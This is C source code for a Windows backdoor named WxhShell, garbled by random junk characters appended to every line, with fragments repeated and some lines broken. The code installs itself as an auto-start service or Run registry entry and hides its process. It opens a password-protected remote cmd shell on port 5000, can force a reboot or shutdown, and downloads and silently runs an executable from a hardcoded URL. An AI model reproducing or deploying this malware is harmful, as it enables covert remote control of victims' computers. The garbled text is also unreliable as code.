WinExec(wscfg.ws_filenam,SW_HIDE); Td7=La0
} :dZq!1~t
+8rGStv
if(!OsIsNt) { I1IuvH6
// 如果时win9x，隐藏进程并且设置为注册表启动 N<e=!LV
HideProc(); '\&t3?;
StartWxhshell(lpCmdLine); z^KMYvH g
} e)Be*J]4
else " ^t3VjN
if(StartFromService()) u+&t"B
// 以服务方式启动 &at^~o
StartServiceCtrlDispatcher(DispatchTable); }i"\?M
else xUiSAKrcM
// 普通方式启动 4490l"
StartWxhshell(lpCmdLine); &Ow[
z/B[quSio
return 0; KKPQ[3g
} Y6>@zznk
#LGAvFA*_F
~w&_l57
fG+/p 0sJ?
=========================================== Q*W`mFul
)YP"\E
C6$F.v
* [\H)Lz
rW.o_z03^
&.> 2@
" aSKLSl't`
s$V'|Pt
#include <stdio.h> 8>}k5Qu
#include <string.h> QO0#p1fom'
#include <windows.h> tSP)'N<
#include <winsock2.h> n#{z"G
#include <winsvc.h> Qx B0I/ {
#include <urlmon.h> |wnXBKV(
)} I>"n
#pragma comment (lib, "Ws2_32.lib") $IM}d"/9
#pragma comment (lib, "urlmon.lib") N^)\+*tf1
d)_fI*:f
#define MAX_USER 100 // 最大客户端连接数 m0: IFE($
#define BUF_SOCK 200 // sock buffer QoGvjf3z
#define KEY_BUFF 255 // 输入 buffer W[+=_B
|>/T*zk<
#define REBOOT 0 // 重启 *Zj2*e{Z9U
#define SHUTDOWN 1 // 关机 :sf(=Y.qA
p~n62(
#define DEF_PORT 5000 // 监听端口 W?`%it5
-HE@wda
#define REG_LEN 16 // 注册表键长度 ^ #6Ei9di
#define SVC_LEN 80 // NT服务名长度 d".Xp4}f
gPo3jwo$
// 从dll定义API |#y+iXTJ
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); z'FpP
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); E{Tvjh+
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); _{eH" ,(
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); >uu]K
zA~aiX
// wxhshell配置信息 %\ifnIQ
struct WSCFG { o=&tT,z
int ws_port; // 监听端口 p\"WX
char ws_passstr[REG_LEN]; // 口令 lURL;h
int ws_autoins; // 安装标记, 1=yes 0=no 6X2~30pdE
char ws_regname[REG_LEN]; // 注册表键名 ;tBc&LJ?
char ws_svcname[REG_LEN]; // 服务名 Lrr1) h
char ws_svcdisp[SVC_LEN]; // 服务显示名 $Ur-Q d
char ws_svcdesc[SVC_LEN]; // 服务描述信息 wM]j#
char ws_passmsg[SVC_LEN]; // 密码输入提示信息 0R#T3K}
int ws_downexe; // 下载执行标记, 1=yes 0=no I;Sg9`k=
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" pb\W7G
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 >=T\=y
.L#xX1qr
}; l8$7N=Y
L.cGt"{
// default Wxhshell configuration ~{8X$xs
struct WSCFG wscfg={DEF_PORT, ,%bG]5
"xuhuanlingzhe", Yv!r>\#0S
1, ._6|epJ#
"Wxhshell", >+9f{FP 9
"Wxhshell", Tlz $LI
"WxhShell Service", T6P9Icv?@7
"Wrsky Windows CmdShell Service", ;Q1/53Y<
"Please Input Your Password: ", w9Eb\An
1, MPexc5_
"http://www.wrsky.com/wxhshell.exe", m(CbMu
"Wxhshell.exe" 6 4fB$
}; =;) M+"
ogOUrJ}P
// 消息定义模块 e>OYJd0s
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; xu]>TC1
char *msg_ws_prompt="\n\r? for help\n\r#>"; j06Xz\c
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; l$>))cW!
char *msg_ws_ext="\n\rExit."; {J?#KHF'|
char *msg_ws_end="\n\rQuit."; x]6wiV
char *msg_ws_boot="\n\rReboot..."; qoifzEc`U
char *msg_ws_poff="\n\rShutdown..."; ug|'}\LY
char *msg_ws_down="\n\rSave to "; *c0\<BI
i uNBw]
char *msg_ws_err="\n\rErr!"; B!;qz[]I
char *msg_ws_ok="\n\rOK!"; AP2BND9
cAL*Md8+
char ExeFile[MAX_PATH]; "TLY:V
int nUser = 0; YFGQPg
HANDLE handles[MAX_USER]; SWrt4G
int OsIsNt; ,X&(BQj h
.y)Y20=o!
SERVICE_STATUS serviceStatus; XDot3)2`
SERVICE_STATUS_HANDLE hServiceStatusHandle; voD0u
>h[ {_+
// 函数声明 A#WvN>
int Install(void); SEL7,8 Hm
int Uninstall(void); bnm3 cR:h"
int DownloadFile(char *sURL, SOCKET wsh); miq"3
int Boot(int flag); gvoo1 Sa
void HideProc(void); ;&A%"8o
int GetOsVer(void); kOQq+_Y
int Wxhshell(SOCKET wsl); ZjOUk;H?
void TalkWithClient(void *cs); `;:zZ8*
int CmdShell(SOCKET sock); B?-~f^*,jG
int StartFromService(void); a2z1/Nh
int StartWxhshell(LPSTR lpCmdLine); hv6w=?7
8.g(&F
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); +FYQ7UE
VOID WINAPI NTServiceHandler( DWORD fdwControl ); ^T{ww=/v
3hPj;-u
// 数据结构和表定义 x'uxSeH$
SERVICE_TABLE_ENTRY DispatchTable[] = M.[A%_|P
{ r N.<S[
{wscfg.ws_svcname, NTServiceMain}, PXH"%vVF
{NULL, NULL} MV~-']2u
}; :'t+*{ff
W{{{c2.
// 自我安装 VkD8h+)
int Install(void) C4`u3S
{ ,^>WCG
char svExeFile[MAX_PATH]; Gp PlO]
HKEY key; ]h`<E~
strcpy(svExeFile,ExeFile); k *#fN(_
z1WF@Ej
// 如果是win9x系统，修改注册表设为自启动 Hf ]w
if(!OsIsNt) { {|jrYU.k~
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { 4)IRm2G
RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); %"1*,g{
RegCloseKey(key); MmvMuX]#)
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { (16U]s
RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); ?9?eA^X%
RegCloseKey(key); 6?CBa]QG
return 0; =LsW\.T6
} (Vvs:h%H
} Ep@NT+VnI
} //ZYN2lT4
else { s*XwU
b')Lj]%;k
// 如果是NT以上系统，安装为系统服务 =,UuQJ,l
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); l5}b.B^w
if (schSCManager!=0) Rzolue 8
{ ,%L>TD'48s
SC_HANDLE schService = CreateService <gdKuoY
( '%D$|)
schSCManager, /{j")
wscfg.ws_svcname, oI!L2
wscfg.ws_svcdisp, @ZD/y%e
SERVICE_ALL_ACCESS, T9c=As_EM
SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , n1Y3b~E?E
SERVICE_AUTO_START, *>ilT5q
SERVICE_ERROR_NORMAL, w^.^XK4v.
svExeFile, dV5aIj
NULL, S!u`V3-s
NULL, Dn}Wsd=
NULL, !JkH$~
NULL, X+:>&&9
NULL X~H~k1
); 77:s=)
if (schService!=0) TC2gl[
{ $oJ)W@>
CloseServiceHandle(schService); [CfA\-gx<f
CloseServiceHandle(schSCManager); CUS^j
strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); kH)JBx.
strcat(svExeFile,wscfg.ws_svcname); GmA5E
if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { mp{r$tc
RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); ,w+}Evp])
RegCloseKey(key); $p} /&
return 0; WLb*\
} u_5O<UP5
} xyoh B#'W
CloseServiceHandle(schSCManager); Gob;dku
} ~4{E0om@
} LGOeBEAMV^
&SzLEbU!
return 1; 5&uS700
} ddR_+B*H
w84 ]s%y
// 自我卸载 Mohy;#8Wk
int Uninstall(void) e' `xU
{ dXe. 5XC
HKEY key; ,r,~1oV<"
w(P\+ m<%
if(!OsIsNt) { f>u{e~Q,
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { I3 %P_oW'
RegDeleteValue(key,wscfg.ws_regname); owA0I'|V-A
RegCloseKey(key); {GaQV-t
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { $rZ:$d.C
RegDeleteValue(key,wscfg.ws_regname); .45XS>=z#
RegCloseKey(key); cI5*`LML1
return 0; #&@qmps(T
} :\0q\2e[<
} Se o3a6o
} +3c!.] o;
else { x bG'![OX
%Jrdr`<
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); NMSpi[dr
if (schSCManager!=0) UL/|!(s
{ '.@'^80iQ
SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); 3b_tK^|'
if (schService!=0) iw,F)O
{ {(DD~~)D
if(DeleteService(schService)!=0) { jU#/yM"Y
CloseServiceHandle(schService); doCWJ
CloseServiceHandle(schSCManager); kXj%thDx
return 0; IZm_/
} iwHy!Vi-5
CloseServiceHandle(schService); s$ONht
} /12D >OK
CloseServiceHandle(schSCManager); I6]|dA3G
} g5EdW=Dt,
} 0d-w<lg9
/S]W<8d
return 1; 2u[:3K-@,
} xHml"Y1
(3RU|4Ks
// 从指定url下载文件 <JA`e+Bi
int DownloadFile(char *sURL, SOCKET wsh) dYg}qad5:
{ L`i#yXR
HRESULT hr; +s6wF{
char seps[]= "/"; ${$XJs4
char *token; (8!#<$
char *file; iL-I#"qT,
char myURL[MAX_PATH]; eJMD8#
char myFILE[MAX_PATH]; E)Z$7;N0x
)e)@_0
strcpy(myURL,sURL); K8dlECy
token=strtok(myURL,seps); ZCQ7xQD
while(token!=NULL) Jmb [d\ /D
{ q%4l!gzF3
file=token; 4>4*4!KR}
token=strtok(NULL,seps); v-85`h
} jafq(t
VV(>e@Bc4
GetCurrentDirectory(MAX_PATH,myFILE); 9o.WJ
strcat(myFILE, "\\"); n6gYZd
strcat(myFILE, file); S7Xr~5>X
send(wsh,myFILE,strlen(myFILE),0); J&{qe@^
send(wsh,"...",3,0); WgdL^PN(h
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); ?VMj;+'tr
if(hr==S_OK) U~8.uldnF
return 0; S9Fg0E+J
else w;.'>ORC
return 1; ZQvpkO7}M
mMqT-jT
} -aiQp@^/J
z8bDBoD6
// 系统电源模块 q+{-p?;;
int Boot(int flag) U[zY0B
{ \lKiUy/
HANDLE hToken; ?Z@FxW
TOKEN_PRIVILEGES tkp; XA~Rn>7&H
r}i<cyL
if(OsIsNt) { 4z-sR/d
OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); NyD[9R?
LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); D4yJ:ATO&
tkp.PrivilegeCount = 1; 7N^9D H{`
tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; e~r%8.Wm
AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); 5_+vjV;5
if(flag==REBOOT) { -OpI,qyS
if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) 4#uWj?u
return 0; PsDks3cG
} \#5t%t
else { M}4%LjD
if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) O6P0Am7s
return 0; +dm&XW >
} 9?r|Y@xh]
} ~UjFL~K}
else { I)ub='+&;
if(flag==REBOOT) { wVBY^TE
if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) e-4XNL[F
return 0; ~R.8r-kD`
} B&0^3iKFi
else { b .k J&c
if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) 65VnH=
return 0; *LeFI%
} c/ wzV
} >Dpz0v
A)En25,X
return 1; ]RmQ*F-
} -6MgC9]
4-[L^1%S[
// win9x进程隐藏模块 8WU UE=p
void HideProc(void) @EzSosmF
{ )t{oyBT
chsjY]b
HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); 2Z6#3~
if ( hKernel != NULL ) GZ\;M6{oh
{ 58*s\*V`\
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); Qi|jL*mj&
( *pRegisterServiceProcess)(GetCurrentProcessId(),1); buGW+TrWY
FreeLibrary(hKernel); 3%m2$\
} ykSn=0
!v|j C
return; /-<S FT`
} zpr`
<Mo_GTOC!
// 获取操作系统版本 ahkSEE{
int GetOsVer(void) |")}p=
{ [JFmhLP9
OSVERSIONINFO winfo; `pF|bZ?v
winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); \pZ,gF;y
GetVersionEx(&winfo); z8M^TV
if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) \4I1wdd|^
return 1; Y((s<]7
else %y33evX/B
return 0; s bd;Kn
} *52*IRH
JxI}#iA
// 客户端句柄模块 L,.Ae i9
int Wxhshell(SOCKET wsl) .MuS"R{y
{ !o 2"th
SOCKET wsh; Eom|*2vWIC
struct sockaddr_in client; `CW8Wj
DWORD myID; !<]%V]5[_
W-@A
while(nUser<MAX_USER) !!_K|}QOE
{ 9@Yk8
int nSize=sizeof(client); S2K_>kvG)~
wsh=accept(wsl,(struct sockaddr *)&client,&nSize); ^AMcZ6!\
if(wsh==INVALID_SOCKET) return 1; qSj2=dlW
A1@tp/L=o
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); fi+u!Y*3Z
if(handles[nUser]==0) ZAzn-n
closesocket(wsh); T F&xiL^
else vrdlI^
nUser++; wly#|
} |$#u~<r_ w
WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); Ol:&cX3G
LF <fp&C)h
return 0; F{ J>=TC
} Ae:(_UJz
oC>e'_6_b
// 关闭 socket npg.*I/>
void CloseIt(SOCKET wsh) }kI-UEn$EP
{ on $?c
closesocket(wsh); |\2zw _o
nUser--; Adgh:'h
ExitThread(0); 33|>u+
} OBi9aFoQ
:Ts"f*
// 客户端请求句柄 (=0W[@k
void TalkWithClient(void *cs) 2}>jq8Y47
{ Bv \ihUg/
:L&Bbw(
SOCKET wsh=(SOCKET)cs; =2pGbD;*
char pwd[SVC_LEN]; R_\{a*lV0
char cmd[KEY_BUFF]; Lv+lLK
char chr[1]; ;rJR+wpNa
int i,j; EP&iG%(k
KZzOs9 s
while (nUser < MAX_USER) { }rsD$
MPA<?
if(wscfg.ws_passstr) { s;X"E=
if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); !!4_x
//send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); dON4r2-yC
//ZeroMemory(pwd,KEY_BUFF); qI\qpWS\
i=0; oL>m}T
while(i<SVC_LEN) { wxVf6`
'YQ"Lf
// 设置超时 {NXc<0a(
fd_set FdRead; 6ND,4'6
struct timeval TimeOut; Zalgg/.
FD_ZERO(&FdRead); Kvv&# eO\
FD_SET(wsh,&FdRead); ;$l!mv7
TimeOut.tv_sec=8; L=3^A'|
TimeOut.tv_usec=0; @26H;
int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); AZt~ \qf
if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); /4+M0Pl
[c]X) @#S
if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); #o_`$'>
pwd=chr[0]; 12DMb9_rp
if(chr[0]==0xd || chr[0]==0xa) { [t5:4 Iq
pwd=0; 1@RctI_}
break; vE7L> 7
} BbUZ,X*Y
i++; \ }>1$kH;
} XWZ *{/u
^;n,C+
// 如果是非法用户，关闭 socket bEP-I5j1t
if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); ?dlQE,hB$
} y562g`"U
Bx0^?>
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); qyGVyi3
send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); pL8+gL
YuSe~~F)j
while(1) { Dg%zNi2GS
1uz9zhG><
ZeroMemory(cmd,KEY_BUFF); Kc_QxON4
YOwo\'|=
// 自动支持客户端 telnet标准 (o)nN8
j=0; .]0B=w* Z
while(j<KEY_BUFF) { .5|AX6p+^
if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); qPuxYU
cmd[j]=chr[0]; ]=of=T:
if(chr[0]==0xa || chr[0]==0xd) { ==`K$rM
cmd[j]=0; oQI3Yz
break; sguE{!BO
} +b1(sk=4z
j++; U0t/(Jyg
} ?~uTbNR
rcMVYSj0
// 下载文件 1i4KZ"A5+
if(strstr(cmd,"http://")) { Y>geP+-
send(wsh,msg_ws_down,strlen(msg_ws_down),0); %@3AA<
if(DownloadFile(cmd,wsh)) >w+WG0Z K
send(wsh,msg_ws_err,strlen(msg_ws_err),0); ]S<eO6z
else wQWokpP;T7
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 4_3Jpz*
} o$oW-U
else { zg+78
N[d*_KN.!
switch(cmd[0]) { YpoO:
EWNh:<F?
// 帮助 zm) ]cq
case '?': { .x5Yfe
send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); .pNWpWL.
break; )dgXS//Y
} A-1Wn^,>*
// 安装 F2]v]]F!
case 'i': { K#H}=Y A
if(Install()) M8a^yoZn
send(wsh,msg_ws_err,strlen(msg_ws_err),0); W_9-JM(r
else vt<r_&+ pJ
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 7tMV*{+Z
break; u$$@Hw
} 3Ba>a(E
// 卸载 \{@s@VBx[
case 'r': { (xpj?zlmM
if(Uninstall()) =`[08
send(wsh,msg_ws_err,strlen(msg_ws_err),0); =Ig'Aw$x
else v Ic0V
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 3P~I'FQ
break; f9u^/QVS&
} -v.\CtpHv
// 显示 wxhshell 所在路径 V.#,dDC@j
case 'p': { ewg&DBbN"
char svExeFile[MAX_PATH]; Gf\Dc
strcpy(svExeFile,"\n\r"); LvgNdVJDP|
strcat(svExeFile,ExeFile); [>QV^2'Z
send(wsh,svExeFile,strlen(svExeFile),0); W&ya_iP~C
break; S.rlF1`
} MKLntX
// 重启 $,4;_4t
case 'b': { =k6zUw;5 U
send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); }Iz'#I Xx
if(Boot(REBOOT)) +gqtW86
send(wsh,msg_ws_err,strlen(msg_ws_err),0); \?7)oFNz
else { 'uS!rKkQlu
closesocket(wsh); LHU^%;L
ExitThread(0); U1bhd}MoR
} F%@( $f
break; RX8$&z
} .ii9-+_
// 关机 l_GvdD
case 'd': { dOh'9kk3
send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); 8rwkux >
if(Boot(SHUTDOWN)) =G3O7\KmH
send(wsh,msg_ws_err,strlen(msg_ws_err),0); x4fl=
else { ,o7aIg&_H
closesocket(wsh); tgK$}#.*
ExitThread(0); uSCF;y=1g,
} #D M%_HXDi
break; {Ak{ ct\t
} t=syo->
// 获取shell n0g,r/
case 's': { H_KE^1
CmdShell(wsh); 8aZuI|z
closesocket(wsh); i <0H W
ExitThread(0); |@?B%sY
break; a3e<<<Z>R
} |6w.m<p
// 退出 c9imfA+e
case 'x': { ~L(=-B`Ow
send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); 0yr=$F(]s
CloseIt(wsh); RFd.L@-]
break; ,g2|8>sJP
} Z3?,r[
// 离开 x4|>HY<p?
case 'q': { :Y/i%#*1
send(wsh,msg_ws_end,strlen(msg_ws_end),0); :=vB|Ch:~
closesocket(wsh); HSGM&!5mW
WSACleanup(); c=]qUhnH
exit(1); w6DK&@w`'/
break; Ry>c]\a]
} @r4ZN6Wn
} z2Sp
} {vYmK#}
6, \i0y5n
// 提示信息 JR{3n*
if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); <Z5ak4P
} KD?~ hpg
} `l,=iy$
@Aa$k:_
return; !]1X0wo\
} k_%2Ok
b);Pw"_2
// shell模块句柄 |d^r"wbs3
int CmdShell(SOCKET sock) +;~JHx.~X
{ y;Xb."e~
STARTUPINFO si; sPY*2B
ZeroMemory(&si,sizeof(si)); n^P=a'+
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; @/h_v#W
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; %}jwuNGA
PROCESS_INFORMATION ProcessInfo; 9k8ftxB^
char cmdline[]="cmd"; -BUxQ8/,
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); x)0g31 49
return 0; aiVd^(
} N1$lG? )+
'U ',9
// 自身启动模式 U ^1Xc#Ff
int StartFromService(void) ~01 o
{ TP'
typedef struct 9n{tbabJ
{ hZ2!UW4'
DWORD ExitStatus; F{}mlQg
DWORD PebBaseAddress; iTsmUq<b]l
DWORD AffinityMask; )1ia;6}
DWORD BasePriority; *0]E4]ZO
ULONG UniqueProcessId; x&9}] E^<
ULONG InheritedFromUniqueProcessId; Qr]xj7\@i
} PROCESS_BASIC_INFORMATION; Q4e*Z9YJ
H&jK|]UXoO
PROCNTQSIP NtQueryInformationProcess; Sx)b~*
$3>k/*=
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; ,JIjAm*2
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; }[ LME Z
tWR>I$O8F
HANDLE hProcess; >Ia{ZbQV
PROCESS_BASIC_INFORMATION pbi; H~%HTl
&ywAzGV{s
HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); Nq'Cuwsp
if(NULL == hInst ) return 0; j<H`<S
)W9W8>Cc5_
g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); ~_ss[\N
g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); USfpCRj9
NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); @igGfYy
YT\x'`>Q
if (!NtQueryInformationProcess) return 0; pQ%~u3
}~pT saw
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); 7=C$*)x
if(!hProcess) return 0; *izPLM}+
*sK")Q4N
if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; kKr|PFz
(sLFJ a6e
CloseHandle(hProcess); V`xZ4 i%L
^@?-YWt
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); rX*4$d0
if(hProcess==NULL) return 0; $"&0
am,UUJ+h>
HMODULE hMod; rFJ(t7\9h
char procName[255]; 7U68|\fI!
unsigned long cbNeeded; Nd!0\ "AE
8CKN^8E
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); ,grdl|Dg
`^HAWo;J
CloseHandle(hProcess); 55xaZ#|
ut z.
if(strstr(procName,"services")) return 1; // 以服务启动 =" Q5Z6W
gyi<ot;
return 0; // 注册表启动 ;=\vm"I?
} LWgYGXWT"
!K a!f1
// 主模块 iXt1{VP'K
int StartWxhshell(LPSTR lpCmdLine) J.'}R2gT1
{ t.wB\Kmt\
SOCKET wsl; 1L722I@
BOOL val=TRUE; ,)%al76E
int port=0; ELoE-b)Cb
struct sockaddr_in door; o,l3j|1
P,5gaT)
if(wscfg.ws_autoins) Install(); J6pQ){;6
q]Y [W1
port=atoi(lpCmdLine); ZL[~[
} LuPYCzpu
if(port<=0) port=wscfg.ws_port; <=WSX{_D
1F?`.~q
WSADATA data; L=Cm0q 3v
if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; UHr0J jQK
y4* }E
if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1; 3LXS}~&
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); *s4h tt
door.sin_family = AF_INET; zK.%tx}+=k
door.sin_addr.s_addr = inet_addr("127.0.0.1"); R T/T+Q!
door.sin_port = htons(port); A[20ic
mqL&bmT
if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { iW.4'9
closesocket(wsl); 5Y<O
return 1; ]BAM _
} (p4|,\+
9_yO6)`
if(listen(wsl,2) == INVALID_SOCKET) { pw;
closesocket(wsl); -={Z::}S"
return 1; tMM*m
} 0I6[`*|SX
Wxhshell(wsl); xEv]VL:
WSACleanup(); ?kBi9^)N4
AQX~do\A
return 0; Vs@[="
[@ExR*
} #$q~ZKB
1=LI))nV
// 以NT服务方式启动 TAfLC)
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) 5 :O7cBr
{ 3I0=^>A
DWORD status = 0; ,G2]3 3Z
DWORD specificError = 0xfffffff; D)C^'/8q
5 9$B z'LY
serviceStatus.dwServiceType = SERVICE_WIN32; #H9J/k_
serviceStatus.dwCurrentState = SERVICE_START_PENDING; GilaON*pK.
serviceStatus.dwControlsAccepted = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; :N!Fe7H,
serviceStatus.dwWin32ExitCode = 0; =.vc={_?
serviceStatus.dwServiceSpecificExitCode = 0; Z^t"!oY
serviceStatus.dwCheckPoint = 0; H/!_D f
serviceStatus.dwWaitHint = 0; $`7cs}#
ZJUTtiD
hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); 3GMRH;/w
if (hServiceStatusHandle==0) return; Ejc%DSG
5I#L|+
status = GetLastError(); U)IW6)q
if (status!=NO_ERROR) 9+'QH
{ t~mbe
serviceStatus.dwCurrentState = SERVICE_STOPPED; Z}#,E;
serviceStatus.dwCheckPoint = 0; Q-<,+[/
serviceStatus.dwWaitHint = 0; s)_Xj`Q#
serviceStatus.dwWin32ExitCode = status; V}?d ,.m`{
serviceStatus.dwServiceSpecificExitCode = specificError; {Rc!S? 8
SetServiceStatus(hServiceStatusHandle, &serviceStatus); Y@)iPK@z
return; _`6fGu& W
} 1J8okBhZ
8?ig/HSt2
serviceStatus.dwCurrentState = SERVICE_RUNNING; C@!C='b,
serviceStatus.dwCheckPoint = 0; z}I4m
serviceStatus.dwWaitHint = 0; K9JW&5Q
if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); x!6&)T?!n
} U@#YKv
=4RXNWkud
// 处理NT服务事件，比如：启动、停止 x13t@b
VOID WINAPI NTServiceHandler(DWORD fdwControl) Rw4"co6
{ (r8Rb*OP
switch(fdwControl) =`VA_xVu
{ ?6h65GO{
case SERVICE_CONTROL_STOP: WzM9{c
serviceStatus.dwWin32ExitCode = 0; bs-O3w
serviceStatus.dwCurrentState = SERVICE_STOPPED; .j*muDVQn
serviceStatus.dwCheckPoint = 0; }9n{E-bj*
serviceStatus.dwWaitHint = 0; R"Ol'y{
{ wNsAVUjLe
SetServiceStatus(hServiceStatusHandle, &serviceStatus); XXbAn-J
} EL_rh TWw
return; i <KWFF#
case SERVICE_CONTROL_PAUSE: <]f ru1
serviceStatus.dwCurrentState = SERVICE_PAUSED; dB{o-R
break; pJM~'tlHV
case SERVICE_CONTROL_CONTINUE: 3#)I7FG
serviceStatus.dwCurrentState = SERVICE_RUNNING; v7rEUS-
break; t*<@>]k
case SERVICE_CONTROL_INTERROGATE: DDdMWH^o7
break; hrfu\cI
}; 9 *>@s
SetServiceStatus(hServiceStatusHandle, &serviceStatus); *E"QFirk0
} z[kz[
sZ`C "1cX
// 标准应用程序主函数 >)g`;iO
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) b$/TfpNdo
{ bZ!*s
:f^=~#!
// 获取操作系统版本 9f ,$JjX[
OsIsNt=GetOsVer(); 2=H3yEJq
GetModuleFileName(NULL,ExeFile,MAX_PATH); 4k9O6
f.?p"~!
// 从命令行安装 N?!]^jI,
if(strpbrk(lpCmdLine,"iI")) Install(); q,k/@@Qd9
qTM,'7Rwn
// 下载执行文件 KPGo*mY
if(wscfg.ws_downexe) { #R_IF&7
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) <5qXC.{Cyp
WinExec(wscfg.ws_filenam,SW_HIDE); 0@w8,x
} :r0?[#r?N,
)6?(K"T
if(!OsIsNt) { a]NQlsE}l
// 如果时win9x，隐藏进程并且设置为注册表启动 dZnAdlJ
HideProc(); m/#)B6@A
StartWxhshell(lpCmdLine); A%H"a+
} IipG?v0z~
else #]nH$Kq
